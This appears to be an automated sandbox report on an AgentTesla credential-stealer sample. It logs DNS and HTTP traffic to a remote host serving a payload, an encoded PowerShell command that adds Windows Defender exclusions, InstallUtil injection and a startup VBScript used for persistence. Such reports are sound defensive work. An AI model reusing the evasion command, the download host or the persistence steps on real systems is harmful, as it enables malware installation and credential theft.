Mar 17, 2025 03:23:32.767244101 CET	54021	53	192.168.2.4	1.1.1.1
Mar 17, 2025 03:23:32.781224012 CET	53	54021	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 03:23:32.767244101 CET	192.168.2.4	1.1.1.1	0x531a	Standard query (0)	mail.iaa-airferight.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 03:23:32.781224012 CET	1.1.1.1	192.168.2.4	0x531a	No error (0)	mail.iaa-airferight.com		46.175.148.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

196.251.83.222

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49711	196.251.83.222	80	7460	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2025 03:23:10.999607086 CET	93	OUT	GET /win32/panel/uploads/Sndab.vdf HTTP/1.1 Host: 196.251.83.222 Connection: Keep-Alive
Mar 17, 2025 03:23:11.606486082 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 02:23:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 17 Mar 2025 00:28:23 GMT ETag: "10d410-6307eddb66556" Accept-Ranges: bytes Content-Length: 1102864 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 02 b6 eb 8a 9e 84 db 6a 02 92 e9 c5 d8 e1 29 ef b0 5f af 64 22 89 4b 30 7a 39 10 3d 2e 5b 61 d6 1a 11 c1 21 49 c8 75 c2 98 f5 1e 60 08 69 4b 56 46 b9 01 60 c9 bd 66 0d 7e d6 0e f6 b6 74 56 bc e0 b5 0a 02 ea 89 a8 14 34 76 a2 96 4d 63 4a b8 5c 2c 3f e3 f1 2e ff 20 a8 54 4c 8e 62 c2 9c 69 a4 41 c6 1e 4c 10 5f 08 17 94 bc c7 0e e7 ef 6e 82 eb c3 bd 7d 8d cf aa 04 9e 07 6d 26 cc 78 f6 02 be cb f2 3a 55 27 bf 10 03 ba 59 6a f5 1c bc 15 a5 16 9c 0d f7 ce 95 99 28 7d af fe ee f7 37 28 73 df ae a5 b9 98 5f 70 c8 82 38 56 0c a2 46 85 70 ab 2c d0 59 0f ce 9a 17 69 9f fd 16 da 81 fb 63 5b 76 c5 63 58 93 cb ae cc 73 46 a0 bd 23 62 ea 9f 7f bb 05 75 b9 4d 7a 27 23 eb ee 19 1a 3f 11 6c e4 2d 5e 6b 90 0e 73 8e f3 b0 43 3f 8c 50 30 1d ac 87 4c 9e ed 5a 11 d2 ac 6e 33 84 7f 82 c2 8f 95 85 d3 a1 d7 e8 a7 9c 78 23 15 07 7d b7 82 12 ee bd 1f fe be 7a 70 8e 3b 43 41 57 46 82 d0 9c 7f 1f de 62 e2 19 a7 4f 55 d8 e9 43 a9 f1 ea 6d 02 0e 1e b6 14 ac 61 6c 60 e9 f1 ec ca ab e4 37 14 bf 34 40 99 d2 7b 75 a7 ab ea 4d 21 29 b0 [TRUNCATED] Data Ascii: j)_d"K0z9=.[a!Iu`iKVF`f~tV4vMcJ\,?. TLbiAL_n}m&x:U'Yj(}7(s_p8VFp,Yic[vcXsF#buMz'#?l-^ksC?P0LZn3x#}zp;CAWFbOUCmal`74@{uM!)7P]n%nYlZN-4B-](FM`&Q[:Y1LYE><GM' /b4~Ug!,1GLh\|~Q?Zem@"2Ocvg~wheGH`<~#)m;}VWWN`8 L$hUys1+gS{0.xn&(4'^JDD[xY>S{]\|k<;`'7=qs7(SW#(ADzD.Y@QIcOaoo:\Q+:Td1-!DVdCv>ad(d^.]#!Z/hOY~:}Cer]%vQr9w%HHD/m?C26ShetAG$~qV3,0{7Jn)k1ntzTS,0*
Mar 17, 2025 03:23:11.606502056 CET	224	IN	Data Raw: 80 f2 9d 62 b4 5b 68 a5 fd 97 9d fa 67 ca be 94 eb 64 92 aa 2c c8 5c f4 07 84 1f 37 f2 45 52 a5 99 d7 44 ec 4b 51 b1 48 3e 47 85 76 54 62 7d db 34 10 c6 8f 68 3a 64 5b 6f b1 a8 48 a6 d8 5a d9 f4 31 77 22 94 35 86 2c 71 f5 84 81 70 c6 cd cb 08 5e Data Ascii: b[hgd,\7ERDKQH>GvTb}4h:d[oHZ1w"5,qp^Q0nvw:*g6tb/\ooyYxRn2RJ-i03'8-<(g_:K?t<rKT" %zx0.YG
Mar 17, 2025 03:23:11.606513977 CET	1236	IN	Data Raw: 11 17 80 e8 c8 17 70 bd a7 ff 5b 27 91 53 6b 9e 3f ab 06 c2 4c 4f 22 c8 79 b1 8f 0b b4 d7 d8 50 42 1b a1 65 44 d7 0b a7 92 48 f5 22 59 40 e3 bc 35 05 ab db b1 e5 5b e9 ae 32 50 2b 87 37 c6 41 eb 98 07 2f 5a 06 a5 69 7b 5a d5 6e ed 75 bb 72 b4 4e Data Ascii: p['Sk?LO"yPBeDH"Y@5[2P+7A/Zi{ZnurN$e;_n6!5{I0ADKCfk[:ksB}?z?d.jBSdi^`OmPm`<=xMR-4'Vic>Y
Mar 17, 2025 03:23:11.606525898 CET	1236	IN	Data Raw: ed 98 a2 9b fd 6d de 88 84 f8 b4 2b 99 0d 3d cc 11 96 fd 21 6b b4 ec 83 0f 64 14 92 7b 5b bc 67 c5 b9 19 58 95 06 7c 82 f9 36 43 7d c8 7b d3 16 bd 49 02 68 c7 8c 7c 8a cc 28 90 e9 ec c8 06 68 f3 32 56 4a 0e 81 a4 15 b0 91 18 24 bd e2 36 83 87 da Data Ascii: m+=!kd{[gX\|6C}{Ih\|(h2VJ$6g3=K\|Ah}C-D^P.kh'Nq37e&}1Yr0_\|\f0!c2yX>38IY+iN>xcsVlj<3os
Mar 17, 2025 03:23:11.606537104 CET	1236	IN	Data Raw: 15 be 86 3d 9d 29 be 23 fb a1 13 97 93 93 d4 b3 88 19 49 5c 9c 4b e5 33 2e 29 b4 71 7b f4 3e b4 d9 60 4e f5 c8 25 58 19 e9 bf 5c fc 36 38 8d 66 f4 f9 71 f0 e5 42 2c c6 fc 95 89 5e 6a 8d b0 39 de 27 9e 16 cf ef fe e5 7b fc fe d0 36 98 9b dc 87 08 Data Ascii: =)#I\K3.)q{>`N%X\68fqB,^j9'{6)aXcmXf5l<g2&jaO2yo4b7R8[w&$\|jt'cKJ-'C8j43)>vhQT]PDlU(F;
Mar 17, 2025 03:23:11.606549978 CET	672	IN	Data Raw: 2f 80 8c 96 d2 4a 8f 33 b2 23 93 62 58 ca 8b 97 d6 b4 75 d2 56 b4 9d a8 8b 6f 8b fc 2e 8f 42 1f 03 2a 46 de 82 55 9e 70 2f 43 9e a8 20 87 20 05 23 5a 3d 76 bc dc 3d 01 fe c2 fc 49 06 7c ab a4 af 91 bf 9a 3b b5 5b 3a b8 4f a8 68 0b 1b 31 9e bb 51 Data Ascii: /J3#bXuVo.B*FUp/C #Z=v=I\|;[:Oh1Q]2.s9<I:id-)GUi+e_{q(IB\9\N>P7o;@{dr.kE/#RY+y!N3XZ=@^Ns3g1&'`55KQK
Mar 17, 2025 03:23:11.684185028 CET	1236	IN	Data Raw: 38 ee cd 06 8b e4 92 6d 74 3f 33 4a 76 f3 5e 1d cd c1 aa cb 8b 62 43 49 70 38 b7 00 c2 e8 b2 54 73 ee fe 7c af 99 55 2b aa fc 49 96 ab b2 c3 a2 07 f6 ce 04 64 31 bf ba ea a5 e2 d4 0e ab 41 5c 13 c7 b5 a4 12 7e 7e d7 43 49 8b 27 63 34 5a d5 69 be Data Ascii: 8mt?3Jv^bCIp8Ts\|U+Id1A\~~CI'c4Zi+Vk?JMg?3~of$!xZ8+(r],8}[j=L?Vi0]sGd{XJ_s{E)(PFJ^f@
Mar 17, 2025 03:23:11.684199095 CET	224	IN	Data Raw: c6 51 60 d9 39 00 77 32 b3 35 5f 6f d8 2e b9 9b 2d 8b 5f b0 c2 fc 0a d5 79 13 52 88 21 d6 dd b0 3e 3f f6 e0 a2 13 17 bb 0f 66 07 a7 81 f6 41 7e b1 b5 40 a0 0e b6 c2 bb 2d 12 d2 a6 19 b3 4b 97 85 39 ed 65 37 38 6f c0 76 be cd 11 c1 9f 84 98 5d 59 Data Ascii: Q`9w25_o.-_yR!>?fA~@-K9e78ov]Y<u>&M5wg5U P&3[G}jlVyjiQC\vAbEggC(^1%{8nYTIm0R;;RG&
Mar 17, 2025 03:23:11.684216976 CET	1236	IN	Data Raw: b6 87 79 0c 90 9a 06 d0 9c 78 58 2e 8d 91 9d dc 38 d5 b9 4a cf f3 02 49 8a ba 23 83 84 61 19 ea 53 d7 af 54 50 5b 90 32 53 54 02 a3 0b de 25 29 ed f1 a0 8e db c5 b6 74 5a 09 92 3d fa 6b fa 54 4f 88 93 03 cd ce a4 c6 c3 54 1c a4 0c 20 9e 8f f3 45 Data Ascii: yxX.8JI#aSTP[2ST%)tZ=kTOT E;\v\|6 ug(T<BFnT*u+$H<67QwNMb$?k=x#pos1cisZ0H+;;fJ!R.iLz
Mar 17, 2025 03:23:11.684228897 CET	1236	IN	Data Raw: c6 b7 75 eb 8e 6e 3f 84 41 99 0a d4 e1 63 61 fb 15 4a 11 80 f0 ba 6e 22 95 74 85 72 25 e7 f1 0a 60 ce 6a 8e f7 34 88 9b 66 6c 04 da b6 e5 51 2c 38 ee 1d 48 68 b0 6f 5c b6 ef 22 f5 37 d0 e7 1b d6 95 40 92 e9 d8 6d 02 a4 af b3 64 59 08 d4 11 79 14 Data Ascii: un?AcaJn"tr%`j4flQ,8Hho\"7@mdYy+3{&ESQt>uuzuZ^iB6c<krLNT}}(.[a*{,j&^}$`<Js[>\
Mar 17, 2025 03:23:11.684243917 CET	1236	IN	Data Raw: 5b ef 45 34 0c 02 95 88 38 86 0f 31 74 45 98 cc 9c ff e6 b6 17 dc 9a 35 f8 10 d7 27 86 bc 12 0b d2 4c d5 9a 5e 52 f4 e7 da 78 06 fb be 10 9d cf d7 b9 7c a6 ba 74 f7 38 2a cf 28 ef 1f 9f 7e 50 86 cf ac 12 2a a2 f6 75 f7 94 35 81 49 af 49 cc dc d5 Data Ascii: [E481tE5'L^Rx\|t8(~Pu5IIK3^o7@G'cK5iHoh)BX6f?yQu!8K6c`Q3 S:,jx/=OP\ Cb0K`F:dQsHp&Lgj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49725	196.251.83.222	80	7948	C:\Users\user\AppData\Roaming\pdf.exe

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2025 03:23:44.150374889 CET	93	OUT	GET /win32/panel/uploads/Sndab.vdf HTTP/1.1 Host: 196.251.83.222 Connection: Keep-Alive
Mar 17, 2025 03:23:44.783761024 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 02:23:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 17 Mar 2025 00:28:23 GMT ETag: "10d410-6307eddb66556" Accept-Ranges: bytes Content-Length: 1102864 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 02 b6 eb 8a 9e 84 db 6a 02 92 e9 c5 d8 e1 29 ef b0 5f af 64 22 89 4b 30 7a 39 10 3d 2e 5b 61 d6 1a 11 c1 21 49 c8 75 c2 98 f5 1e 60 08 69 4b 56 46 b9 01 60 c9 bd 66 0d 7e d6 0e f6 b6 74 56 bc e0 b5 0a 02 ea 89 a8 14 34 76 a2 96 4d 63 4a b8 5c 2c 3f e3 f1 2e ff 20 a8 54 4c 8e 62 c2 9c 69 a4 41 c6 1e 4c 10 5f 08 17 94 bc c7 0e e7 ef 6e 82 eb c3 bd 7d 8d cf aa 04 9e 07 6d 26 cc 78 f6 02 be cb f2 3a 55 27 bf 10 03 ba 59 6a f5 1c bc 15 a5 16 9c 0d f7 ce 95 99 28 7d af fe ee f7 37 28 73 df ae a5 b9 98 5f 70 c8 82 38 56 0c a2 46 85 70 ab 2c d0 59 0f ce 9a 17 69 9f fd 16 da 81 fb 63 5b 76 c5 63 58 93 cb ae cc 73 46 a0 bd 23 62 ea 9f 7f bb 05 75 b9 4d 7a 27 23 eb ee 19 1a 3f 11 6c e4 2d 5e 6b 90 0e 73 8e f3 b0 43 3f 8c 50 30 1d ac 87 4c 9e ed 5a 11 d2 ac 6e 33 84 7f 82 c2 8f 95 85 d3 a1 d7 e8 a7 9c 78 23 15 07 7d b7 82 12 ee bd 1f fe be 7a 70 8e 3b 43 41 57 46 82 d0 9c 7f 1f de 62 e2 19 a7 4f 55 d8 e9 43 a9 f1 ea 6d 02 0e 1e b6 14 ac 61 6c 60 e9 f1 ec ca ab e4 37 14 bf 34 40 99 d2 7b 75 a7 ab ea 4d 21 29 b0 [TRUNCATED] Data Ascii: j)_d"K0z9=.[a!Iu`iKVF`f~tV4vMcJ\,?. TLbiAL_n}m&x:U'Yj(}7(s_p8VFp,Yic[vcXsF#buMz'#?l-^ksC?P0LZn3x#}zp;CAWFbOUCmal`74@{uM!)7P]n%nYlZN-4B-](FM`&Q[:Y1LYE><GM' /b4~Ug!,1GLh\|~Q?Zem@"2Ocvg~wheGH`<~#)m;}VWWN`8 L$hUys1+gS{0.xn&(4'^JDD[xY>S{]\|k<;`'7=qs7(SW#(ADzD.Y@QIcOaoo:\Q+:Td1-!DVdCv>ad(d^.]#!Z/hOY~:}Cer]%vQr9w%HHD/m?C26ShetAG$~qV3,0{7Jn)k1ntzTS,0*
Mar 17, 2025 03:23:44.783791065 CET	1236	IN	Data Raw: 80 f2 9d 62 b4 5b 68 a5 fd 97 9d fa 67 ca be 94 eb 64 92 aa 2c c8 5c f4 07 84 1f 37 f2 45 52 a5 99 d7 44 ec 4b 51 b1 48 3e 47 85 76 54 62 7d db 34 10 c6 8f 68 3a 64 5b 6f b1 a8 48 a6 d8 5a d9 f4 31 77 22 94 35 86 2c 71 f5 84 81 70 c6 cd cb 08 5e Data Ascii: b[hgd,\7ERDKQH>GvTb}4h:d[oHZ1w"5,qp^Q0nvw:*g6tb/\ooyYxRn2RJ-i03'8-<(g_:K?t<rKT" %zx0.YGp['Sk?
Mar 17, 2025 03:23:44.783806086 CET	1236	IN	Data Raw: 5e c8 1b 3f ed a1 b6 2a 8a 8e 96 18 f2 d9 f7 3f 67 fe db b4 93 a8 b1 4f 5e 0b 36 77 66 98 96 21 88 60 12 52 60 ca 96 a8 a9 c7 0f 3d ce 16 b1 77 13 c5 1a ef 39 65 f7 ee e8 c4 0a 3c 9e bd 6f ae 6f 70 22 c9 4b 1f d3 1a e9 99 18 f9 50 f8 e7 5f 62 de Data Ascii: ^??gO^6wf!`R`=w9e<oop"KP_btTJ2QVn?h,T(^w;m~<z~li]==ZAc=m6w{vWghrH;`(UW:X'{x7m+=
Mar 17, 2025 03:23:44.783833981 CET	672	IN	Data Raw: 74 03 55 7f 79 da ef e5 b5 61 a4 92 52 4b bc 6f 06 ef f5 62 38 f7 49 e8 6c ae ba 39 cb 0b af 7c db 80 5c d6 4e 61 a5 11 aa 9e 43 e3 91 e7 0f 1f a5 d9 4d ea 62 ad 8e f2 8c 24 c6 74 51 0d 84 37 29 1d 7b bb f2 7d ec b9 d3 c2 55 4c fb bd 34 9e 01 18 Data Ascii: tUyaRKob8Il9\|\NaCMb$tQ7){}UL4+k94.(<ik!GXEdMqE0+?:o4>cqZbP\Dk[^9~0h9Py24<_n_YRtmhmy>i1I(N=)#I
Mar 17, 2025 03:23:44.783852100 CET	1236	IN	Data Raw: cf 18 9c 91 eb 6e 7d b5 02 23 15 2a 08 35 9f 28 b7 60 c3 ef 13 3e c8 73 c1 ce bc e2 f2 ce eb 55 9e 4b d3 1b 53 a0 fc 99 05 46 81 c3 11 d0 42 ff 01 e4 ba 16 56 9f 6e 17 60 23 74 3c 57 ce c0 5e a5 6d 39 1b 0a 84 7b 50 da c8 9b 62 f7 d7 73 54 aa 75 Data Ascii: n}#*5(`>sUKSFBVn`#t<W^m9{PbsTu/{fu'#TyZSIv?F#wMB7k6HccDvq7.A2r)tT1H%mYo\$m[MgA^pe{hY7rGY
Mar 17, 2025 03:23:44.783863068 CET	224	IN	Data Raw: 13 e2 4a 33 4b 9f 55 7c 6b 15 77 75 b4 b2 82 46 94 6b 19 66 f7 73 39 86 58 54 05 cd 21 4c 9c d5 e8 4b ee 76 11 c5 ac 98 13 0d 9d b1 57 18 18 a8 a2 07 47 20 0e b9 8c 72 6f 7c fe 40 9d 4c 71 cc 14 27 3a 08 2c d2 c0 2d e5 8c 4a 14 7c c0 9f 00 a3 89 Data Ascii: J3KU\|kwuFkfs9XT!LKvWG ro\|@Lq':,-J\|DU]2oYtNsDY$`+9ab}x~S@9@:W!1^)k1Jnk/PIy1(4{
Mar 17, 2025 03:23:44.869679928 CET	1236	IN	Data Raw: 38 ee cd 06 8b e4 92 6d 74 3f 33 4a 76 f3 5e 1d cd c1 aa cb 8b 62 43 49 70 38 b7 00 c2 e8 b2 54 73 ee fe 7c af 99 55 2b aa fc 49 96 ab b2 c3 a2 07 f6 ce 04 64 31 bf ba ea a5 e2 d4 0e ab 41 5c 13 c7 b5 a4 12 7e 7e d7 43 49 8b 27 63 34 5a d5 69 be Data Ascii: 8mt?3Jv^bCIp8Ts\|U+Id1A\~~CI'c4Zi+Vk?JMg?3~of$!xZ8+(r],8}[j=L?Vi0]sGd{XJ_s{E)(PFJ^f@
Mar 17, 2025 03:23:44.869709969 CET	1236	IN	Data Raw: c6 51 60 d9 39 00 77 32 b3 35 5f 6f d8 2e b9 9b 2d 8b 5f b0 c2 fc 0a d5 79 13 52 88 21 d6 dd b0 3e 3f f6 e0 a2 13 17 bb 0f 66 07 a7 81 f6 41 7e b1 b5 40 a0 0e b6 c2 bb 2d 12 d2 a6 19 b3 4b 97 85 39 ed 65 37 38 6f c0 76 be cd 11 c1 9f 84 98 5d 59 Data Ascii: Q`9w25_o.-_yR!>?fA~@-K9e78ov]Y<u>&M5wg5U P&3[G}jlVyjiQC\vAbEggC(^1%{8nYTIm0R;;RG&yxX.8
Mar 17, 2025 03:23:44.869725943 CET	1236	IN	Data Raw: 44 0c 82 e0 b1 0e e6 3c 76 84 32 16 e6 de cc 9c cb 2b c2 0c 52 5d 86 d8 de 92 2c f7 79 6c 14 e6 29 bc e6 4d be 13 ec f0 d2 d0 87 93 04 58 e8 e1 c1 e4 f6 41 a0 54 a7 c9 3e 86 cf 93 1f c5 7f 90 d8 2a a1 94 64 bc 46 48 6d 55 ac 59 e8 51 08 80 d9 44 Data Ascii: D<v2+R],yl)MXAT>dFHmUYQD<@ahK3M@>k.'ZimW+JN4k+,e+{3}w%m2CnK[%Jqo26g1v5jYa!!#K?un?AcaJ
Mar 17, 2025 03:23:44.869739056 CET	1236	IN	Data Raw: 0d 6c bc 0f 97 ba 0d db 62 0c 1c 4e 67 d0 a0 24 da 85 be ad 9e b9 f9 0b 92 ab 03 6e c2 14 36 f6 0a d6 de 11 4c 99 01 9f 73 ed da dd fb 00 08 5b d5 36 d3 f8 68 56 13 6b cb ea 7a d1 8f f5 76 33 89 9b 70 a1 22 bc 18 81 b5 6b 5f 19 3c ce 10 38 61 5d Data Ascii: lbNg$n6Ls[6hVkzv3p"k_<8a]fd_}p1c0ZRn3T5Cu=T+J;+fO1{;[YDU]vzA~\4K`_f[!TYkS>7SV%C1Z\|#[E481tE
Mar 17, 2025 03:23:44.869754076 CET	1236	IN	Data Raw: f9 13 5e dd 33 f8 8d be 68 50 b1 da 0c f6 e6 32 7b b8 01 1a 8a fd c6 cd ec e1 30 72 0f 84 ea 3e 89 50 29 a3 45 d6 4e e8 54 9f b2 01 dd db 46 0a a2 69 1e d2 ce 0e c3 df 21 8d 0e 48 64 6a 9c 4d 8c fb 5b f8 65 5e fc 50 ad 1b 2b 17 ff fd 57 de b2 f8 Data Ascii: ^3hP2{0r>P)ENTFi!HdjM[e^P+WPVRU=l'G=`0nDamTT_m^3!>C~'z^i}Wndur'kK\J;.U"IV1#\L#NN,R)o: 5

Target ID:	0
Start time:	22:23:09
Start date:	16/03/2025
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe"
Imagebase:	0xc20000
File size:	197'744 bytes
MD5 hash:	B5C6EB2FECA156E403440F4FAF478A49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1449250723.0000000003FB6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1459801581.0000000006890000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1449250723.0000000004155000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:23:12
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:23:12
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:23:12
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0xf80000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:23:25
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVwBpAG4AMwAyAC4AUABXAFMAWAAtAGcAZQBuAC4AMgAyADcAMgA4AC4AMQAzADgANAA3AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwAUwBlAGMAdQByAGkAdABlAEkAbgBmAG8ALgBjAG8AbQAuAFcAaQBuADMAMgAuAFAAVwBTAFgALQBnAGUAbgAuADIAMgA3ADIAOAAuADEAMwA4ADQANwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABkAGYALgBlAHgAZQA=
Imagebase:	0x4f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:23:25
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:23:27
Start date:	16/03/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff75b8b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:23:30
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xaa0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.1675252240.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.1675252240.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.1669938478.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:23:30
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:23:30
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:23:30
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0xf80000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:23:41
Start date:	16/03/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs"
Imagebase:	0x7ff6be790000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

